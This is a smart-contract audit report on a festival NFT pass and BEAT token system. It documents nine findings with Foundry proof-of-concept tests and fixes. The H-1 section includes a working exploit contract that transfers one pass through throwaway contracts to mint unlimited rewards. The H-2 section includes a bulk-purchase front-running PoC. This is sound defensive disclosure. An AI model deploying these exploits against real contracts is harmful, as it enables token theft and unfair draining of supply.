Protocol Audit Report

Version 1.0

Tanu G

July 21, 2025

Protocol Audit Report - CodeHawks

Tanu Gupta

July 21, 2025

Prepared by: Tanu Gupta

Lead Security Researcher:

- Tanu Gupta

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    * [H-1] Lack of Token-Based Attendance Tracking Enables Unlimited BEAT Minting Through Pass Transfers
    * [H-2] Lack of Purchase Limits in `FestivalPass::buyPass` Enables MEV/Front-running Attacks

- Medium
  * [M-1] Organizer Cannot Deactivate Redemption for Sold-Out Memorabilia Collections, Leading to Unclear or Stale UI States
  * [M-2] Off-by-One Error in `FestivalPass::redeemMemorabilia` Prevents Redemption of the Last Item in a Collection
- Low
  * [L-1] Unrestricted fund withdrawal `FestivalPass::withdraw` by owner with arbitrary target, leading to centralization risk
  * [L-2] Missing Zero Address Check in `BeatToken::setFestivalContract`
  * [L-3] `uri()` Function Incorrectly Returns Valid Metadata for Invalid Token ID 0
- Informational
  * [I-1] Use of magic numbers for VIP and BACKSTAGE pass bonuses reduces readability and maintainability and hence not recommended
- Gas
  * [G-1] Redundant Loop in `FestivalPass::getUserMemorabiliaDetailed` Increases Gas Usage

Protocol Summary

A festival NFT ecosystem on Ethereum where users purchase tiered passes (ERC1155), attend virtual(or not) performances to earn BEAT tokens (ERC20), and redeem unique memorabilia NFTs (integrated in the same ERC1155 contract) using BEAT tokens.

Disclaimer

The team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following github repository BeatLand Festival

Scope

```
src/
*-- BeatToken.sol
*-- FestivalPass.sol
*-- interfaces
    *-- IFestivalPass.sol
```

Roles

Owner: The owner and deployer of contracts, sets the Organizer address, collects the festival proceeds.

Organizer: Configures performances and memorabilia.

Attendee: Customer that buys a pass and attends performances. They use rewards received for attending performances to buy memorabilia.

Executive Summary

Found the bugs using a tool called foundry.

Issues found

Severity	Number of issues found
High	2
Medium	2
Low	3
Info	1
Gas	1
Total	9

Findings

High

[H-1] Lack of Token-Based Attendance Tracking Enables Unlimited BEAT Minting Through Pass Transfers

Description: The festival attendance system fails to prevent abuse of `ERC1155` transferability. After attending a performance and receiving BEAT token rewards, **a user can transfer their pass to another address** (e.g., a freshly deployed contract) and have it attend the same performance again.

This bypasses any attendance tracking **(lastCheckedIn)** or **cooldown** mechanisms tied to the address, enabling:

1. Multiple attendances of the same performance with a single pass
2. A fully automated, low-cost exploit by cycling the pass through dummy contracts

Since the contract only checks that the current holder of the pass hasn't attended the event (but not the pass itself or its transfer history), there is no safeguard against repeated use of the same pass.

```
1  function attendPerformance(uint256 performanceId) external {
2          require(isPerformanceActive(performanceId), "Performance is not
               active");
3          require(hasPass(msg.sender), "Must own a pass");
4          require(!hasAttended[performanceId][msg.sender], "Already
              attended this performance");
5          require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN,
              "Cooldown period not met");
```

```
6           hasAttended[performanceId][msg.sender] = true;
7           lastCheckIn[msg.sender] = block.timestamp;
8
9           uint256 multiplier = getMultiplier(msg.sender);
10          BeatToken(beatToken).mint(msg.sender, performances[
                performanceId].baseReward * multiplier);
11          emit Attended(msg.sender, performanceId, performances[
                performanceId].baseReward * multiplier);
12      }
```

Impact: Unlimited BEAT token minting via repeated attendances, breaking the reward system causing protocol abuse and letting users maliciously acquire unique memorabilias.

Proof of Concept:

1. User attends a performance with a BACKSTAGE pass `festival.attendPerformance(performanceId);`
2. Transfer the pass to a dummy contract `pass.safeTransferFrom(user, dummyContract, BACKSTAGE_PASS_ID, 1, "");`
3. Dummy contract attends the same performance again. `dummyContract.attend(performanceId);`
4. Repeat with another fresh contract to mint infinite BEAT tokens

Exploit POC

```
1  contract BeatTokenExploiter {
2      FestivalPass immutable pass;
3      BeatToken immutable beat;
4
5      constructor(FestivalPass _pass, BeatToken _beat) {
6          pass = _pass;
7          beat = _beat;
8      }
9
10     // Buy a pass to enable attacks
11     function buyPass() external payable {
12         pass.buyPass{value: msg.value}(3); // Buy BACKSTAGE pass
13         console.log("Beat tokens received via buy: ", BeatToken(beat).
               balanceOf(address(this)));
14     }
15
16     // Main attack function
17     function exploit(uint256 performanceId) external {
18         // Step 1: Attend the performance legitimately once
19         pass.attendPerformance(performanceId);
20         console.log("Beat tokens received after attending performance:
               ", BeatToken(beat).balanceOf(address(this)));
```

```
21
22          for (uint256 i = 0; i < 10; i++) {
23              // Step 2: create a dummy pass receiver
24              address dummy = address(new DummyReceiver());
25              // Step 3: Transfer pass to a new address to reset cooldown
26              pass.safeTransferFrom(address(this), dummy, 3, 1, "");
27              // Step 4: Have dummy attend the performance
28              DummyReceiver(dummy).attend(pass, performanceId, address(
                    beat));
29              console.log("Beat tokens Total: ", BeatToken(beat).
                    balanceOf(address(this)));
30          }
31      }
32
33      function receiveMemorabilia(uint256 collectionId) external {
34          (,, uint256 price, uint256 maxSupply,, bool isActive) = pass.
                collections(collectionId);
35
36          for (uint256 i = 1; i < maxSupply; i++) { //this loop will run
                maxSupply - 1 times.
37              uint256 beatBalance = beat.balanceOf(address(this));
38              if (beatBalance >= price && isActive) {
39                  pass.redeemMemorabilia(collectionId);
40              }
41          }
42
43          (,,,, uint256 collectionItem,) = pass.collections(collectionId)
                ;
44          console.log("collectionItem: ", collectionItem, maxSupply);
45          assert(maxSupply == collectionItem);
46      }
47
48      // Withdraw stolen BEAT tokens
49      function withdraw() external {
50          beat.transfer(msg.sender, beat.balanceOf(address(this)));
51      }
52
53      function onERC1155Received(address, address, uint256, uint256,
            bytes memory) public pure returns (bytes4) {
54          return this.onERC1155Received.selector;
55      }
56  }
57
58  contract DummyReceiver {
59      function attend(FestivalPass pass, uint256 performanceId, address
            beat) external {
60          pass.attendPerformance(performanceId);
61          console.log(
62              "Beat tokens received by dummy after attending performance:
                    ", BeatToken(beat).balanceOf(address(this))
63          );
```

```
64          pass.safeTransferFrom(address(this), msg.sender, 3, 1, "");
65          BeatToken(beat).transfer(msg.sender, BeatToken(beat).balanceOf(
                address(this)));
66      }
67
68      function onERC1155Received(address, address, uint256, uint256,
            bytes memory) public pure returns (bytes4) {
69          return this.onERC1155Received.selector;
70      }
71  }
72
73  function test_Buy_multiple_Memorabilias_With_One_Pass() external {
74          vm.prank(user1);
75          BeatTokenExploiter attackContract = new BeatTokenExploiter(
                festivalPass, beatToken);
76          attackContract.buyPass{value: 0.25 ether}();
77
78          uint256 startTime = block.timestamp + 1 hours;
79          uint256 duration = 2 hours;
80          uint256 reward = 100e18;
81          vm.prank(organizer);
82          uint256 perfId = festivalPass.createPerformance(startTime,
                duration, reward);
83
84          vm.warp(startTime + 30 minutes);
85          attackContract.exploit(perfId);
86
87          vm.prank(organizer);
88          uint256 collectionId =
89              festivalPass.createMemorabiliaCollection("Golden Hats", "
                    ipfs://QmGoldenHats", 50e18, 10, true);
90
91          attackContract.receiveMemorabilia(collectionId);
92      }
```

Recommended Mitigation:

1. *Non-Transferable Soulbound Passes*: Override transfer functions to prevent pass transfers Or implement a “binding” mechanism where passes become non-transferable after first use.
2. Implement stronger attendance tracking that binds `attendance to the pass token ID` or event log, rather than solely to the user address

[H-2] Lack of Purchase Limits in `FestivalPass::buyPass` Enables MEV/Front-running Attacks

Description: The `FestivalPass::buyPass` function does not implement any restrictions on the number of purchases per address or enforce anti-front-running measures. This opens up a significant

attack surface for MEV bots and malicious actors who can monitor the mempool and front-run legitimate users by bulk-purchasing all available exclusive passes before others.

Impact: An attacker can:

- Acquire all passes ahead of legitimate users by front-running their transactions
- Resell passes on secondary markets at inflated prices for profit
- Create an unfair and exclusionary environment, reducing user trust
- Drain the entire supply, effectively locking out intended participants

Proof of Concept:

1. User1 tries to buy the pass and the transaction is waiting in the public mempool.
2. User2 is also trying to buy the pass.
3. An Attacker front-run all these transactions by submitting bulk purchase with higher gas price.

Proof of code (POC)

```
function test_MEV_attack_On_Buy_Pass() external {

    //vm.prank(user1);
    //user1 intends to buy the exclusive pass
    //festivalPass.buyPass{value: BACKSTAGE_PRICE}(3);

    //vm.prank(user2);
    //user2 intends to buy the exclusive pass
    //festivalPass.buyPass{value: BACKSTAGE_PRICE}(3);

    //Atacker front runs all the transactions by purchasing all the passes in bulk
    address randomUser = makeAddr('random');
    BulkPassBuyer bulkBuyer = new BulkPassBuyer(festivalPass);
    hoax(randomUser, 50 ether);
    for(uint i = 0 ; i < BACKSTAGE_MAX_SUPPLY ; i ++){
        bulkBuyer.buyPass{value: BACKSTAGE_PRICE}();
    }
    vm.stopPrank();

    assertEq(festivalPass.balanceOf(address(bulkBuyer), 3), BACKSTAGE_MAX_SUPPLY);

    vm.prank(user1);
    //user1 transaction goes through resulting in error
    vm.expectRevert("Max supply reached");
    festivalPass.buyPass{value: BACKSTAGE_PRICE}(3);


    vm.prank(user2);
    //user2 transaction goes through resulting in error
```

```
30      vm.expectRevert("Max supply reached");
31      festivalPass.buyPass{value: BACKSTAGE_PRICE}(3);
32
33  }
34
35  contract BulkPassBuyer{
36      FestivalPass immutable pass;
37      constructor(FestivalPass _pass){
38          pass = _pass;
39      }
40
41      function buyPass() external payable {
42          pass.buyPass{value: msg.value}(3); // Buy BACKSTAGE pass
43      }
44
45      function onERC1155Received(address, address, uint256, uint256,
            bytes memory) public pure returns (bytes4) {
46          return this.onERC1155Received.selector;
47      }
48  }
```

Recommended Mitigation:

1. Enforce per-address purchase limits with cooldown

```
1  +        mapping(address => mapping(uint256 => uint256)) private
       lastPurchaseTime;
2  +        mapping(address => mapping(uint256 => uint256)) private
       purchaseCount;
3  +        uint256 constant PURCHASE_COOLDOWN = 1 hours;
4  +        uint256 constant MAX_PURCHASES_PER_ADDRESS = 1;
5
6           function buyPass(uint256 collectionId) external payable {
7  +            require(
8  +            purchaseCount[msg.sender][collectionId] <
       MAX_PURCHASES_PER_ADDRESS,
9  +            "Purchase limit exceeded"
10 +            );
11 +            require(
12 +                block.timestamp >= lastPurchaseTime[msg.sender][
       collectionId] + PURCHASE_COOLDOWN,
13 +                "Cooldown period active"
14 +            );
15              // Must be valid pass ID (1 or 2 or 3)
16              require(
17                  collectionId == GENERAL_PASS || collectionId ==
                        VIP_PASS || collectionId == BACKSTAGE_PASS,
18                  "Invalid pass ID"
19              );
20              // Check payment and supply
21              require(msg.value == passPrice[collectionId], "Incorrect
```

```
                payment amount");
22              require(passSupply[collectionId] < passMaxSupply[
                    collectionId], "Max supply reached");
23              // Mint 1 pass to buyer
24              _mint(msg.sender, collectionId, 1, "");
25              ++passSupply[collectionId];
26  +           lastPurchaseTime[msg.sender][collectionId] = block.
    timestamp;
27  +           purchaseCount[msg.sender][collectionId]++;
28              // VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT
                    welcome bonus
29              uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (
                    collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
30              if (bonus > 0) {
31                  // Mint BEAT tokens to buyer
32                  BeatToken(beatToken).mint(msg.sender, bonus);
33              }
34              emit PassPurchased(msg.sender, collectionId);
35          }
```

2. Inducing `commit-reveal` scheme to bypass `MEV-attack`

```
1   +       mapping(address => bytes32) private commitments;
2   +       mapping(address => uint256) private commitmentTimestamp;
3   +       uint256 constant REVEAL_DELAY = 10 minutes;
4
5   +       function commitToPurchase(bytes32 commitment) external {
6   +           commitments[msg.sender] = commitment;
7   +           commitmentTimestamp[msg.sender] = block.timestamp;
8   +       }
9
10  +       function revealAndPurchase(
11  +           uint256 collectionId,
12  +           uint256 nonce
13  +       ) external payable {
14  +           require(
15  +               block.timestamp >= commitmentTimestamp[msg.sender] +
    REVEAL_DELAY,
16  +               "Reveal period not reached"
17  +           );
18  +           require(
19  +               keccak256(abi.encodePacked(msg.sender, collectionId,
    nonce)) == commitments[msg.sender],
20  +               "Invalid reveal"
21  +           );
22
23  +           // Rest of buyPass logic...
24  +           delete commitments[msg.sender];
25  +        }
```

3. Recommended Approach: Implement both the above options (purchase limits + cooldown) and (commit-reveal) for high-value passes.

Medium

[M-1] Organizer Cannot Deactivate Redemption for Sold-Out Memorabilia Collections, Leading to Unclear or Stale UI States

Description: The `redeemMemorabilia` function checks that the collection is marked as `active` and that the `currentItemId` has not yet reached `maxSupply`. However, once the collection reaches full supply, the function reverts with **Collection sold out** and there is no way for the organizer to manually deactivate the collection.

```
1  function redeemMemorabilia(uint256 collectionId) external {
2          MemorabiliaCollection storage collection = collections[
               collectionId];
3          require(collection.priceInBeat > 0, "Collection does not exist"
               );
4          require(collection.isActive, "Collection not active");
5          require(collection.currentItemId < collection.maxSupply, "
               Collection sold out");
6          ...
7  }
```

This creates an unintuitive situation, where the collection remains active (`isActive == true`), but users can no longer redeem items because the supply is exhausted.

Impact:

1. Causes confusion among users.
2. Creates a **denial-of-service (DoS)** situation for the final redeem call if multiple users attempt redemption concurrently—only one will succeed, and the rest will revert even though the collection remains shown as active.

Proof of Concept:

1. Organizer creates a memorabilia collection with `activateNow = true` and `maxSupply = 10`.
2. Users redeem up to 10 items.
3. On the 10th redemption, currentItemId == maxSupply, causing all further redemption attempts to fail with **Collection sold out**.
4. The collection remains `isActive == true`, making the UI or external tools think it's still redeemable.

Recommended Mitigation:

1. Allow the organizer to deactivate a collection manually:

```
function deactivateCollection(uint256 collectionId) external
    onlyOrganizer {
     collections[collectionId].isActive = false;
     emit CollectionDeactivated(collectionId);
}
```

2. Optionally, set `isActive = false` automatically once `currentItemId == maxSupply` during the last successful redemption:

```
if (collection.currentItemId + 1 == collection.maxSupply) {
  collection.isActive = false;
}
```

[M-2] Off-by-One Error in `FestivalPass::redeemMemorabilia` Prevents Redemption of the Last Item in a Collection

Description: In `createMemorabiliaCollection`, `currentItemId` is initialized to 1 for every new collection:

```
     collections[collectionId] = MemorabiliaCollection({
     name: name,
     baseUri: baseUri,
     priceInBeat: priceInBeat,
     maxSupply: maxSupply,
@>   currentItemId: 1, // Start item IDs at 1
     isActive: activateNow,
     });
```

The redemption logic checks:

```
require(collection.currentItemId < collection.maxSupply, "Collection
    sold out");
```

This creates an **off-by-one error**: when `currentItemId == maxSupply`, the last item cannot be redeemed because the condition `currentItemId < maxSupply` fails. This effectively causes a *denial-of-service* (DoS) for the final collectible.

Impact:

1. Only `maxSupply - 1` items can be redeemed instead of the full `maxSupply`
2. Users attempting to redeem the last item will always face a **Collection sold out** revert.
3. Misalignment between expected supply and actual redeemable supply

Proof of Concept:

1. Organizer creates a collection with `maxSupply = 10`.
2. Redemptions work for 9 items (IDs 1 to 9).
3. Attempting to redeem the 10th item fails due to `currentItemId < maxSupply` being false (10 < 10 is false).

```
function test_Off_By_One_Error_In_Memorabilia_Redemption() external {

        vm.prank(user1);
        festivalPass.buyPass{value: BACKSTAGE_PRICE}(3); // Gets 15e18 BEAT bonus

        // Create performance and earn more BEAT
        vm.prank(organizer);
        uint256 perfId = festivalPass.createPerformance(block.timestamp + 1 hours, 2 hours, 250e18);

        vm.warp(block.timestamp + 90 minutes);
        vm.prank(user1);
        festivalPass.attendPerformance(perfId); // Earns 750e18 + 15e18 (250e18 * 3x BACKSTAGE multiplier)

        // Create memorabilia collection
        vm.prank(organizer);
        uint256 collectionId =
            festivalPass.createMemorabiliaCollection("Festival Poster", "ipfs://QmPosters", 50, 5, true);

        for(uint i = 0 ; i < 5; i++){
            vm.prank(user1);
            if(i == 4) {
                vm.expectRevert();
            }
            festivalPass.redeemMemorabilia(collectionId);
        }

        // Check collection state updated
        (,,,, uint256 currentItemId,) = festivalPass.collections(collectionId);
        assertEq(currentItemId, 5); // Next item will be #5

    }
```

Recommended Mitigation: Two possible recommendation:

1. Start `currentItemId` at 0 and and increment it on redemption.

```
    collections[collectionId] = MemorabiliaCollection({
            name: name,
```

```
3               baseUri: baseUri,
4               priceInBeat: priceInBeat,
5               maxSupply: maxSupply,
6   -           currentItemId: 1, // Start item IDs at 1
7   +           currentItemId: 0, // Start item IDs at 0
8               isActive: activateNow
9           });
```

2. Adjust the condition:

```
1   -    require(collection.currentItemId < collection.maxSupply, "
        Collection sold out");
2   +    require(collection.currentItemId <= collection.maxSupply, "
        Collection sold out");
```

Low

[L-1] Unrestricted fund withdrawal `FestivalPass::withdraw` by owner with arbitrary target, leading to centralization risk

Description: The `withdraw` function grants the contract owner unrestricted access to drain all contract funds to any address without any safeguards, transparency, or community oversight.

The owner can withdraw the entire contract balance at any time to any target address, including personal wallets, with no time delays, spending limits, or multi-signature requirements.

Impact: This creates a single point of failure where all user funds are entirely dependent on the owner's trustworthiness.

Recommended Mitigation: Implementing time-locked treasury with organizer oversight:

```
1  contract TimelockTreasury {
2      uint256 public constant TIMELOCK_DELAY = 7 days;
3      uint256 public constant EMERGENCY_DELAY = 2 days;
4
5      struct TimelockProposal {
6          address target;
7          uint256 amount;
8          uint256 proposedAt;
9          uint256 executionTime;
10         bool cancelled;
11         string reason;
12     }
13
14     mapping(uint256 => TimelockProposal) public proposals;
15
16     function proposeWithdrawal(
```

```
17          address target,
18          uint256 amount,
19          string memory reason
20      ) external onlyOwner {
21          uint256 proposalId = nextProposalId++;
22          proposals[proposalId] = TimelockProposal({
23              target: target,
24              amount: amount,
25              proposedAt: block.timestamp,
26              executionTime: block.timestamp + TIMELOCK_DELAY,
27              cancelled: false,
28              reason: reason
29          });
30
31          emit WithdrawalProposed(proposalId, target, amount, reason);
32      }
33
34      function executeWithdrawal(uint256 proposalId) external
            onlyOrganizer {
35          TimelockProposal storage proposal = proposals[proposalId];
36          require(block.timestamp >= proposal.executionTime, "Timelock
                not expired");
37          require(!proposal.cancelled, "Proposal cancelled");
38
39          payable(proposal.target).transfer(proposal.amount);
40          emit WithdrawalExecuted(proposalId, proposal.target, proposal.
                amount);
41      }
42
43      // Organizer can cancel malicious proposals during timelock period
44      function emergencyCancel(uint256 proposalId) external onlyOrganizer
            {
45          proposals[proposalId].cancelled = true;
46      }
47  }
```

[L-2] Missing Zero Address Check in `BeatToken::setFestivalContract`

Description: The `BeatToken::setFestivalContract` function allows the `owner` to assign a festival contract address, but it does not validate that the provided address is non-zero.

```
1   function setFestivalContract(address _festival) external onlyOwner {
2           require(festivalContract == address(0), "Festival contract
                already set");
3           festivalContract = _festival;
4       }
```

Impact: Setting the `festivalContract` to the **zero address** could break the intended functionality

wherever the festival contract is referenced, leading to failed external calls or unexpected behaviors.

Recommended Mitigation: Add a check to ensure the `_festival` address is non-zero before assignment:

```
    function setFestivalContract(address _festival) external onlyOwner
        {
+       require(_festival != address(0), "Invalid festival address");
        require(festivalContract == address(0), "Festival contract
            already set");
        festivalContract = _festival;
    }
```

[L-3] `uri()` Function Incorrectly Returns Valid Metadata for Invalid Token ID 0

Description: The `uri(uint256 tokenId)` function returns metadata for pass and memorabilia tokens. However, the following logic allows token ID 0 to pass the check and return a URI:

```
if (tokenId <= BACKSTAGE_PASS) {
  return string(
    abi.encodePacked("ipfs://beatdrop/", Strings.toString(tokenId))
  );
}
```

Given that valid pass token IDs are only 1, 2, and 3, and `tokenId == 0` is not a valid pass, this condition allows **unintended metadata generation** for token ID `0`, producing:

```
    ipfs://beatdrop/0
```

Since **collection token IDs begin from 100**, token ID 0 will **not match any memorabilia collection** either. This leaves `tokenId == 0` being misinterpreted as a real pass token by the frontend or external systems.

Impact: Misleads user interfaces and token explorers into showing metadata for a non-existent token

Proof of Concept:

```
string memory uri = festivalPass.uri(0);
// Returns: "ipfs://beatdrop/0"
```

Even though `tokenId == 0` was never minted and is not a valid token.

Recommended Mitigation: Restrict the pass URI logic to valid, non-zero token IDs:

```
- if (tokenId <= BACKSTAGE_PASS) {
+ if (tokenId > 0 && tokenId <= BACKSTAGE_PASS) {
+    return string(abi.encodePacked("ipfs://beatdrop/", Strings.
    toString(tokenId)));
```

```
4 }
```

Informational

[I-1] Use of magic numbers for VIP and BACKSTAGE pass bonuses reduces readability and maintainability and hence not recommended

Description: The contract uses hardcoded numeric literals such as `5e18` and `15e18` to represent the bonus values for `VIP` and `BACKSTAGE` passes, respectively.

```
1     uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId
          == BACKSTAGE_PASS) ? 15e18 : 0;
```

Impact:

- Reduces clarity for developers and auditors, as the meaning behind the values isn't immediately obvious
- Makes it harder to maintain or adjust parameters without digging into contract logic.

Recommended Mitigation: Define appropriately named constant variables for all bonus-related values:

```
1 +   uint256 public constant VIP_BONUS = 5e18;
2 +   uint256 public constant BACKSTAGE_BONUS = 15e18;
3
4 -   uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId
      == BACKSTAGE_PASS) ? 15e18 : 0;
5 +   uint256 bonus = (collectionId == VIP_PASS) ? VIP_BONUS : (
      collectionId == BACKSTAGE_PASS) ? BACKSTAGE_BONUS : 0;
```

Gas

[G-1] Redundant Loop in `FestivalPass::getUserMemorabiliaDetailed` Increases Gas Usage

Description: The `getUserMemorabiliaDetailed()` currently performs two full iterations over all minted memorabilia tokens:

- One loop to count how many memorabilia items the user owns.
- Another loop to populate the result arrays.

This redundant iteration leads to unnecessary gas usage

Impact:

- Increased on-chain gas cost.
- Poor scalability as nextCollectionId and total items increase.

Recommended Mitigation: Replace the two-pass approach with a **single loop and temporary over-allocation**, resizing the memory arrays afterward

```
function getUserMemorabiliaDetailed(address user)
    external
    view
    returns (uint256[] memory tokenIds, uint256[] memory collectionIds,
        uint256[] memory itemIds)
{
    // Calculate max possible using currentItemId (only minted items)
    uint256 maxPossible = 0;
    for (uint256 cId = 1; cId < nextCollectionId; cId++) {
        if (collections[cId].currentItemId > 1) {
            maxPossible += collections[cId].currentItemId - 1;
        }
    }

    uint256[] memory tempTokenIds = new uint256[](maxPossible);
    uint256[] memory tempCollectionIds = new uint256[](maxPossible);
    uint256[] memory tempItemIds = new uint256[](maxPossible);

    uint256 count = 0;
    for (uint256 cId = 1; cId < nextCollectionId; cId++) {
        for (uint256 iId = 1; iId < collections[cId].currentItemId; iId
           ++) {
            uint256 tokenId = encodeTokenId(cId, iId);
            if (balanceOf(user, tokenId) > 0) {
                tempTokenIds[count] = tokenId;
                tempCollectionIds[count] = cId;
                tempItemIds[count] = iId;
                count++;
            }
        }
    }

    // Resize to actual count
    assembly {
        mstore(tempTokenIds, count)
        mstore(tempCollectionIds, count)
        mstore(tempItemIds, count)
    }

    return (tempTokenIds, tempCollectionIds, tempItemIds);
}
```